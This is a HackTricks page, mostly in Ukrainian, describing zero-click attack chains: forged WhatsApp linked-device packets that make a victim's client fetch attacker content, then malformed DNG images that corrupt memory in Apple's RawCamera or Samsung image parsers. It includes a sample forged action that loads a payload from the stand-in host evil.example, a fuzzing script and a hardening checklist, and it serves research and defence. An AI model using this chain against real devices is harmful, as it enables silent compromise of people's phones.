Zero-click Messaging → Image Parser Chains
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
TL;DR
- Розглядайте messaging app multi-device/companion protocols як канали віддаленого керування: якщо поля протоколу вважаються такими, що походять від довірених пристроїв, вони все одно можуть бути керовані користувачем і їх часто можна replay безпосередньо проти жертви, щоб завантажити довільний контент з 0 user interaction.
- Якщо будь-який додаток можна примусити завантажувати недовірений медіаконтент, цілиться у shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) за допомогою пошкоджених файлів, щоб вийти з sandbox.
- Помилки парсерів DNG-based RawCamera та Samsung, обговорені тут, є конкретними прикладами, але вся техніка — це повторно використовуваний шаблон для ланцюжка logic flaws → image parser memory corruption → full device compromise.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
Архітектура WhatsApp “linked devices” синхронізує основний телефон і кожен companion (desktop, tablet, secondary phone) через зашифровані, структуровані протокольні повідомлення. Кожне повідомлення кодує:
- Device metadata (device ID, capabilities, feature flags).
- Action descriptors (e.g., sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters such as URIs, MIME hints, pagination keys, etc.
На клієнтах Apple обробник, який обробляє ці linked-device контрольні пакети, implicitly trusted, що валідне сполучення (pairing) вже відбулося, тому поля з високим впливом (наприклад, resource_url, open_media, sync_snapshot) перевірялися лише мінімально. Зловмисне companion message могло тому:
- Бути спрямоване до будь-якого акаунта, ідентифікованого за його phone number.
- Пройти через транспортний стек (Noise protocol + WhatsApp protobuf framing), тому що отримувач ніколи не перевіряв, що відправник був легітимно paired device.
- Досягти iOS клієнта, де уразливий шлях виконання автоматично ініціював фоновий HTTP(S) запит до attacker URL і парсив відповідь у прихованому WebView/media renderer.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Підключіть debugger або Frida script до desktop/iOS клієнта і підпишіться на post-decryption handler (e.g.,
LinkedDevicesSyncHandler::processAction). Dump декодовані protobuf payloads, щоб вивчити доступні типи дій і параметри. - Identify fields that cross trust boundaries. Будь-яка дія з параметрами
http_url,thumbnail_uri,download_urlабоrender_htmlбез суворих allow-lists є кандидатом на remote-content primitive. - Forge a malicious action. Повторно використайте спостережувану protobuf схему і змініть лише поля, що контролюються атакуючим. Спрощений JSON-погляд відповідної логічної структури показано нижче (фактичний транспорт — protobuf/Noise, але семантичні поля збігаються):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Deliver to the victim. Replay the crafted packet through the same WhatsApp service that normally forwards linked-device traffic (e.g., using a modified desktop client or a custom Noise client reusing your attacker account keys). Because CVE-2025-55177 failed to tie actions to authenticated devices, the victim iOS/macOS client would accept the message and immediately fetch the attacker URL without any UI.
- Instrument the fetch. Observe the forced HTTP(S) request and the internal renderer (WKWebView/ImageIO). At this point you own a zero-click web delivery primitive inside WhatsApp.
Озброєння автоматично декодованих DNG проти RawCamera
Once the attacker controls what WhatsApp loads, the next goal is to make iOS/macOS parse a malicious Digital Negative (DNG) file with the RawCamera framework. Any embedded <img>/CSS URL that resolves to a .dng will be passed to the system image pipeline, invoking RawCamera even if WhatsApp itself never handled DNGs explicitly.
Запуск RawCamera з WhatsApp
- Подавайте HTML, який посилається на DNG кількома механізмами (наприклад,
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), або джерела<picture>), щоб охопити різні шляхи рендерингу. - Забезпечте правильний MIME (
image/x-adobe-dng) і невеликі прев’ю, щоб завантажувач не відмовився зарані через евристики розміру. - The iOS media sandbox will stream the file into RawCamera via
CGImageSourceCreateWithURL, eventually hitting the vulnerable decoder.
Створення DNG, що корумпує пам’ять (у стилі CVE-2025-43300)
The 2025 in-the-wild bug was more specific than a generic malformed TIFF: the DNG carried JPEG-Lossless image data whose internal SOF3 component count disagreed with the TIFF/DNG metadata (SamplesPerPixel). In practice, RawCamera could size some buffers from the outer TIFF fields and later trust the embedded JPEG-Lossless stream while decoding, yielding the out-of-bounds write fixed in iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025.
That gives auditors a much tighter triage rule than “mutate random tags”:
exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY
Якщо SamplesPerPixel і кількість компонентів у SOF3 розходяться, ви дуже близькі до точної примітиви, обговореної публічно для CVE-2025-43300. Типові суміжні важелі, які все ще варто fuzzing після того, як у вас є шлях розбору, такі:
- Описувачі тайлів/стріпів: Встановіть
TileByteCounts/StripByteCountsна реалістичні значення, але збільшітьTileOffsets, щоб вказувати за межі виділеного буфера. - Ланцюжки Sub-IFD: Вбудуйте вторинні зображення з конфліктуючими
ImageWidth/ImageLengthтаBitsPerSample, щоб RawCamera обчислював малий буфер, тоді як пізніші етапи покладалися на розміри, контрольовані атакуючим. - Метадані Opcode: Маніпулюйте записами
OpcodeList3, щоб обробка по рядках працювала з індексами, обраними атакуючим.
A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Кожен crash у RawCamera дає вам новий примітив. Опублікований PoC досяг акуратного out-of-bounds read/write, достатньо надійного, щоб викликати падіння WhatsApp на iPhone, iPad та Mac.
Building the 0-click chain
- Linked-device packet → примушує WhatsApp завантажити
https://evil.example/payload.htmlбез будь-яких натискань. - Payload HTML → тихо посилається на
evil.dng, що гарантує виклик RawCamera стеком медіа OS. - Malicious DNG → зловживає сконструйованими тегами, щоб спровокувати RawCamera OOB і crash/own декодер зображень.
- Post-corruption exploitation → додають info-leak гаджети (наприклад, зловживання передбачуваною heap metadata) і ставлять ROP/JOP chain, щоб вийти з WhatsApp sandbox у більш привілейовані контексти.
Оскільки кожен крок автоматичний, нападникові потрібен лише номер телефону жертви. На цільовому пристрої не показуються ніякі сповіщення, банери або підказки.
Recent Apple parser-chain patterns worth reusing
Цей ланцюг WhatsApp → DNG → RawCamera відповідає тому ж шаблону дизайну, що спостерігався в недавніх Apple zero-click кампаніях: знайти alternate attachment wrapper, який досягає менш обмеженого парсера, а потім озброїти формат файлу, який OS охоче пре- переглядає.
- BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab повідомили про зловмисні PassKit attachments, що містили зображення, і Apple виправила
Wallet(CVE-2023-41061) плюсImageIO(CVE-2023-41064). Подальший аналіз Project Zero показав, чому це важливо операційно: нападнику потрібен був не лише parser bug, а й контейнер, що переміщує парсинг зображень поза звичний BlastDoor шлях у інший процес. При аудиті messaging apps перераховуйте всі типи attachments, які викликають фонові превʼю у допоміжних демонах (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), а не лише очевидні image attachments. - TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky показали, що зловмисний iMessage attachment вражав недокументовану Apple-only
ADJUSTTrueType інструкцію (CVE-2023-41990). Практичний висновок: fonts are image-parser cousins для zero-click атак — rich-text previews, font fallback і thumbnail generation можуть стати точками входу парсерів, навіть коли додаток стверджує, що підтримує лише “documents” або “stickers”.
Повторне питання для аудиту тому: які типи повідомлень викликають тихий парсинг у процесі, відмінному від очевидного chat renderer? Зазвичай звідти і починається ланцюг. Для прикладної тріажі та перевірок консистентності між полями, коли у вас є підозрілий файл, повторно використовуйте this generic structural file-format detection page.
Samsung vendor image parser parallels
Бюлетень Samsung для CVE-2025-21043 підтвердив, що їхній пропрієтарний стек парсингу зображень (використовується Gallery, Messages, і також опосередковано WhatsApp) постраждав від out-of-bounds write, досяжного через ненадійні медіа. Методологія експлуатації віддзеркалює Apple chain:
- Визначте вектор auto-preview (chat thumbnails, notification previews, share sheets), який парсить файл нападника за допомогою
libimagecodec/libOneUI_ImageDecoder. - Диференціюйте OEM library updates або fuzz парсери з пошкодженими RAW/DNG файлами, поки не побачите memory corruptions схожі на RawCamera crash (clobber heap metadata, контроль регістрів тощо).
- Доставте сконструйований файл через будь-який канал, що вже auto-loads content (наприклад, той самий linked-device примітив, WhatsApp preview fetchers або Android’s push-to-talk waveform previews).
Якщо OOB write існує в vendor parser, поєднання його з WhatsApp auto-fetch примітивом дає ще один zero-click chain на Samsung-пристроях.
Testing & hardening checklist
- Protocol validation: Запровадьте суворі allow-lists для кожної linked-device дії. Команди для компаньйона, що запитують fetch/render, повинні доводити спарування пристроїв (підпис payload) і URL має відповідати allow-list або підписаному блобу.
- Transport replay countermeasures: Привʼяжіть кожну дію до per-device key і відхиляйте пакети, чий sender key невідомий, навіть якщо protobuf syntax коректний.
- Media pipeline restrictions: High-level apps повинні дозволяти лише підтверджені MIME types і явно відхиляти RAW/DNG, якщо функція не потрібна.
- Parser fuzzing regression tests: Тримайте корпус malformed RAW/DNG файлів і запускайте їх проти RawCamera/vendor decoders після кожного оновлення.
- Crash triage automation: Прикріплюйте
DYLD_INSERT_LIBRARIESsanitizers або MTE на fuzz пристроях, щоб виявляти тонкі OOB умови до того, як це зроблять нападники.
References
- DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices
- Project Zero: Blasting Past WebP
- Quarkslab: Reverse engineering of Apple’s iOS 0-click CVE-2025-43300
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


